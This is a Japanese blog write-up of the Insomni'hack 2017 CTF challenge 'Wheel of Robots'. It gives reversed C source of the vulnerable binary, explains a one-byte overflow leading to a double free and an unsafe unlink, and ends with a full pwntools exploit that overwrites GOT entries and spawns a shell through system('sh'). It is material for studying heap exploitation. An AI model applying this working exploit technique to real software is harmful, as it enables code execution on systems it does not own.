fr33f0r4ll

自分用雑記

# Heap exploitation Insomni'hack 2017 Wheel of Robots

Heap exploitation Insomni'hack 2017 Wheel of Robots

Heap exploitationのお勉強、Writeup見ちゃった。
問題はここ
参考にしたのはshellphishのhow2heap。

問題

実行ファイルだけ降ってくる。
解くのにlibcが必要になるが、途中で任意アドレスの読み出しができるようになるので、ライブラリ関数のアドレスからlibcのバージョンが特定できるはず。
こことか使える。

wheel: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=48a9cceeb7cf8874bc05ccf7a4657427fa4e2d78, stripped

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

普通のx64といった感じ。

解析

直接実行してみると、malloc、free、read、writeができるっぽい感じだと分かる。
リバーシングしてみると、いくつか脆弱性を含んでいることが分かる。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>

void gotohell(int id);
void initialize();
int read_menu_num(char* buf, int len);
void add_robot();
void del_robot();
void change_name_robot();
void start_robot();
void show_buf(char* buf);

// wheel menu
// 1. Tinny Tim
// 2. Bender
// 3. Robot Devil
// 4. Chain Smoker
// 5. Billionaire Bot
// 6. Destructor
char* chain_smoker;      // 0x6030e0
char* destructor;        // 0x6030e8
char* bender;            // 0x6030f0
char* tinny_tim;         // 0x6030f8
char* robot_devil;       // 0x603100
char* billionaire_bot;   // 0x603108
char menu_num_buf[4];    // 0x603110
int bender_flg;          // 0x603114
int chain_smoker_flg;    // 0x603118
int destructor_flg;      // 0x60311c
int tinny_tim_flg;       // 0x603120
int robot_devil_flg;     // 0x603124
int billionaire_bot_flg; // 0x603128
int use_count;           // 0x603130
int intel;               // 0x603138
int cruelty;             // 0x603140
int powerful;            // 0x603148

int main(int argc, char** argv) {
  setvbuf(stdout, NULL, 2, 0);
  setvbuf(stdin, NULL, 2, 0);

  initialize();
  // show_title();

  while(1) {
    // show_menu();
    // 1. Add a robot on wheel
    // 2. Delete a robot on wheel
    // 3. Change a robot's name
    // 4. Start the Wheel Of Robots
    // show dialog
    memset(menu_num_buf, 0, sizeof(menu_num_buf));
    int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf));

    switch(menu_num) {
    case 1:
      add_robot();
      break;
    case 2:
      del_robot();
      break;
    case 3:
      change_name_robot();
      break;
    case 4:
      start_robot();
      break;
    default:
      break;
    }
  }

  return 0;
}

void initialize() {
  int random_fd = open("/dev/urandom", 0);
  long long num;

  read(random_fd, &num, 8);
  close(random_fd);

  srand(num);
  setvbuf(stdout, NULL, 2, 0);
  signal(0xe, gotohell);
  // alarm(0x3c); // temporary off

  return;
}

void gotohell(int id) {
  puts("Go to Hell!!!\n");
  exit(1);
}

int read_menu_num(char* buf, int len) {
  char* lbuf = buf;
  int llen = len;

  int read_num = read(0, lbuf, llen);

  if(read_num > 0) {
    return atoi(lbuf);
  } else {
    puts("Error\n");
    exit(-1);
  }
}

void add_robot() {
  // puts, which add
  // choice
  char buf[8];

  memset(menu_num_buf, 0, sizeof(menu_num_buf));
  int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf) + 1); // why more one byte?

  if(use_count > 2) {
    // puts, full
    return;
  }

  switch(menu_num) {
  case 1:
    if(tinny_tim_flg == 0) {
      tinny_tim = calloc(1, 0x14);
      tinny_tim_flg = 1;
      strcpy(tinny_tim, "Tinny Tim");
      use_count++;
    }

    break;
  case 2:
    if(bender_flg == 0) {
      // puts, Increase bender intel
      memset(buf, 0, 5);
      int inc_intel = read_menu_num(buf, 5);

      if(inc_intel > 4) {
        // puts, impossible!
        inc_intel = 2;
      }

      bender = calloc(1, inc_intel * 10); // TODO: check
      intel = inc_intel;
      bender_flg = 1;
      strcpy(bender, "Bender");
      use_count++;
    }

    break;
  case 3:
    if(robot_devil_flg == 0) {
      // puts, inc cruelty
      memset(buf, 0, 5);
      int inc_num = read_menu_num(buf, 5);

      if(inc_num > 0x63) {
        // you are crazy
        inc_num = 0x14;
      }

      robot_devil = calloc(1, inc_num * 10);
      cruelty = inc_num;
      strcpy(robot_devil, "Robot Devil");
      robot_devil_flg = 1;
      use_count++;
    }

    break;
  case 4:
    if(chain_smoker_flg == 0) {
      chain_smoker = calloc(1, 0xfa0);
      strcpy(chain_smoker, "Chain Smoker");
      chain_smoker_flg = 1;
      use_count++;
    }

    break;
  case 5:
    if(billionaire_bot_flg == 0) {
      billionaire_bot = calloc(1, 0x9c40);
      strcpy(billionaire_bot, "Billionaire Bot");
      billionaire_bot_flg = 1;
      use_count++;
    }

    break;
  case 6:
    if(destructor_flg == 0) {
      // puts, inc powerful
      memset(buf, 0, 5);
      int inc_num = read_menu_num(buf, 5);
      destructor = calloc(1, inc_num * 10);
      powerful = inc_num;
      destructor_flg = 1;
      strcpy(destructor, "Destructor");
      use_count++;
    }

    break;
  default:
    break;
  }

  return;
}

void del_robot() {
  // puts, Which remove
  // choice
  memset(menu_num_buf, 0, sizeof(menu_num_buf));
  int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf));

  switch(menu_num) {
  case 1:
    if(tinny_tim_flg != 0) {
      free(tinny_tim);
      tinny_tim_flg = 0;
      use_count--;
    }

    break;
  case 2:
    if(bender_flg != 0) {
      free(bender);
      bender_flg = 0;
      use_count--;
    }

    break;
  case 3:
    if(robot_devil_flg != 0) {
      free(robot_devil);
      robot_devil_flg = 0;
      use_count--;
    }

    break;
  case 4:
    if(chain_smoker_flg != 0) {
      free(chain_smoker);
      chain_smoker_flg = 0;
      use_count--;
    }

    break;
  case 5:
    if(billionaire_bot_flg != 0) {
      free(billionaire_bot);
      billionaire_bot_flg = 0;
      use_count--;
    }

    break;
  case 6:
    if(destructor_flg != 0) {
      free(destructor);
      destructor_flg = 0;
      use_count--;
    }

    break;
  default:
    break;
  }

  return;
}

void change_name_robot() {
  // puts, which
  // choice
  memset(menu_num_buf, 0, 4);
  int menu_num = read_menu_num(menu_num_buf, 4);

  switch(menu_num) {
  case 1:
    if(tinny_tim_flg != 0) {
      // name
      read(0, tinny_tim, 0x14);
    }

    break;
  case 2:
    if(bender_flg != 0) {
      // name
      read(0, bender, intel * 10);
    }

    break;
  case 3:
    if(robot_devil_flg != 0) {
      // name
      read(0, robot_devil, cruelty * 10);
    }

    break;
  case 4:
    if(chain_smoker_flg != 0) {
      read(0, chain_smoker, 0xfa0);
    }

    break;
  case 5:
    if(billionaire_bot_flg != 0) {
      read(0, billionaire_bot, 0x9c40);
    }

    break;
  case 6:
    if(destructor_flg != 0) {
      read(0, destructor, powerful * 10);
    }

    break;
  default:
    break;
  }
}

void start_robot() {
  if(use_count <= 2) {
    // puts, fill!
    return;
  }

  // int rand_num = rand_func(6);?
  int rand_num;

  switch(rand_num) {
  case 1:
    if(bender_flg != 0) { // is this bug? tinny_tim_flg is correct but wrong flag is used. so can use after free
      show_buf(tinny_tim);
      break;
    }
  case 2:
    if(bender_flg != 0) {
      // are you kidding me?
      show_buf("are you kidding me"); // other function but same functionality
      break;
    }
  case 3:
    if(robot_devil_flg != 0) {
      show_buf(robot_devil);
      break;
    }
  case 4:
    if(chain_smoker_flg != 0) {
      show_buf(chain_smoker);
      break;
    }
  case 5:
    if(billionaire_bot_flg != 0) {
      show_buf(billionaire_bot);
      break;
    }
  case 6:
    if(destructor_flg != 0) {
      show_buf(destructor);
      break;
    }
  default:
    // welcome to hell!
    break;
  }

  exit(1);
}

void show_buf(char* buf) {
  printf("%s\n", buf);
}

まず、いくつかの場所でmenu_num_bufを1バイトオーバーフローしている。
このため、直下にあるbender_flgの下位1バイトを好きなように操作できる。
この変数はbenderに割り当てられた領域がfree済みかどうかをチェックするためのもので、これを改ざんできるとdouble freeができる。

また、freeされてもアドレスが残りっぱなしになっている点も脆弱性として利用できる。

解法

まず、double freeを利用して任意のアドレスをmallocで返せることを使って、powerfulの領域をmallocで返させる。
次にpowerfulを領域のサイズとして使うrobot 6(destructor)を適当なサイズで取得し、その後でpowerfulをより大きいに設定することで、ヒープオーバーフローができるようにする。
これでヒープ領域を書き換えてunsafe unlinkができるようになる。

unsafe unlinkができれば、グローバル変数の値を改ざんしてGOTを適当に書き換えてlibcベースをリーク、systemでシェルの起動につなげればいい。

exploitはWriteupのほぼ丸パクリ、動かなかった部分だけ修正した。

exploit

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './wheel'
libc = '/lib/x86_64-linux-gnu/libc.so.6'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
elf = ELF(exe)
libc = ELF(libc)


def add_robot(robot, inc_num=0):
    io.recvuntil('choice :')
    io.sendline('1')
    io.recvuntil('choice :')
    io.sendline(str(robot))

    if robot == 2:
        io.recvuntil('intelligence:')
        io.sendline(str(inc_num))
    elif robot == 3:
        io.recvuntil('cruelty:')
        io.sendline(str(inc_num))
    elif robot == 6:
        io.recvuntil('powerful:')
        io.sendline(str(inc_num))


def del_robot(robot):
    io.recvuntil('choice :')
    io.sendline('2')
    io.recvuntil('choice :')
    io.sendline(str(robot))


def change_name(robot, name):
    io.recvuntil('choice :', timeout=0.1)
    io.sendline('3')
    io.recvuntil('choice :')
    io.sendline(str(robot))
    io.recvuntil('name:')
    io.send(name)


# メニューの数値選択でmenu_num_bufが1バイトだけオーバーフローできる
# bender_flgを好きな数値(8bit長)に書き換える
def overflow_tag(bit, data='9999'):
    io.recvuntil('choice :')
    io.sendline('1')
    io.recvuntil('choice :')
    assert (len(data) == 4)
    io.send(data + chr(bit))


if args.DELAY:
    import time
    time.sleep(3)

log.info('START')
log.info("Create fake fastbin @ Bender's intel(0x603138)")
intel_addr = 0x603138
add_robot(3, 0x20)  # Robot Devilのcrueltyに0x20を設定
del_robot(3)  # mallocできる数に限りがあるのでfreeしておく、mallocした領域や数値は0クリアされない

add_robot(2, 1)  # malloc Bender, intel=1
del_robot(2)  # free
overflow_tag(1)  # freeしたBenderのbender_flgを1に書き換える
change_name(2, p32(intel_addr))  # Benderの指している領域はfree済みなので、fdを書き換えることになる
overflow_tag(0)  # Benderをfreeされた扱いに
add_robot(2, 1)  # 次にintel_addrがチャンクとして返される

log.info("Return Destructor's powerful(0x603148)")
# intel_addrがチャンクとして返されるので、ユーザ領域としてprev_sizeとsize分下にあるpowerfulが返される
add_robot(1)

# 他の領域を確保するためにfree
del_robot(2)
del_robot(3)  # free済?

log.info('Unsafe Unlink')
add_robot(3, 7)  # RobotDevilでcalloc(70)
add_robot(4)  # Chain Smoker
del_robot(3)  # robot 4でのprev in useフラグを0にするため
add_robot(6, 1)  # destructor, powerful 1. ここで返されるのはheap領域の先頭に位置するチャンク

# heapのレイアウトは現在
# robot 6(0x20)
# robot 3(0xa0)
# robot 4(0xfb0)
# となっている

# powerfulを書き換えてヒープオーバーフロー
change_name(1, p32(0x1000))  # fdを書き換えてpowerfulを指すようになっている
destructor_addr = 0x6030e8
change_name(
    6,
    "a" * 0x8 +  # パディング
    p64(0xb1) +  # サイズのチェックが存在している、元のexploitから変更
    p64(destructor_addr - 0x18) + p64(destructor_addr - 0x10)
    +  # 偽のfdとbk、ターゲットはdestructor(0x6030e8)
    p64(0) + p64(0) + "b" * 0x80 +  # パディング?
    p64(0xb0)  # prev_size、0xa0からサイズを大きくして偽のチャンクを認識させる
)

log.info('unlink!')
del_robot(4)  # unsafe unlinkによるP->bk->fd = P->fdで、destructorに0x6030d0が格納される
# これにより、グローバル変数の値を任意に変更できるようになった
change_name(
    6, "A" * 40 + p64(0x6030e8))  # robot 1(tinny tim)の値を0x6030e8(destructor)に


# この時点でrobot 1への書き込みはdestructor(0x6030e8)への書き込みになる
# robot 1へ書き込んだアドレスはrobot 6(destructor)にセットされる
# robot 6への書き込みはセットしたアドレスへの書き込みになる
# つまり、[addr] = data
def write(addr, data):
    change_name(1, p64(addr))
    change_name(6, data)


log.info('overwrite exit@GOT = ret')
# menu 4の最後がretではなくexitになっているため、retにして繰り返し実行できるようにする
rop_ret = 0x4015bc  # ret;
write(elf.got['exit'], p64(rop_ret))

write(0x603130, p64(3))  # use_count(0x603130) = 3

log.info('Leak free@GOT')
# free@GOTを表示してlibcベースをリーク
change_name(1, p64(elf.got['free']))
while True:
    io.recvuntil('choice :')
    io.sendline('4')  # 乱数でrobotのバッファを表示する
    buf = io.recvuntil('!! Thx ', timeout=0.1)
    if '!! Thx' in buf:
        break
    else:
        log.info("Retry!")

libc_base = u64(io.recv()[:6] + '\0\0') - libc.symbols['free']
log.info('libc base: 0x{:x}'.format(libc_base))

log.info('free = system')
write(elf.got['free'], p64(libc_base + libc.symbols['system']))

write(0x603114, "sh\0")  # 適当なアドレスに"sh"を書き込む
del_robot(6)  # この時点でrobot 6に格納されているアドレスには"sh"を指すポインタが格納されている
# free = systemなので、system("sh")となる

io.interactive()

細かいことはexploit中のコメントに書いた。

まとめ

double freeからunsafe unlinkに繋げられなかった、というかこのdouble freeは成立しないと思ってた。 サイズのチェックか何かあった気がしたけどそんなことはなかった、何事も試してみるのが大事だね。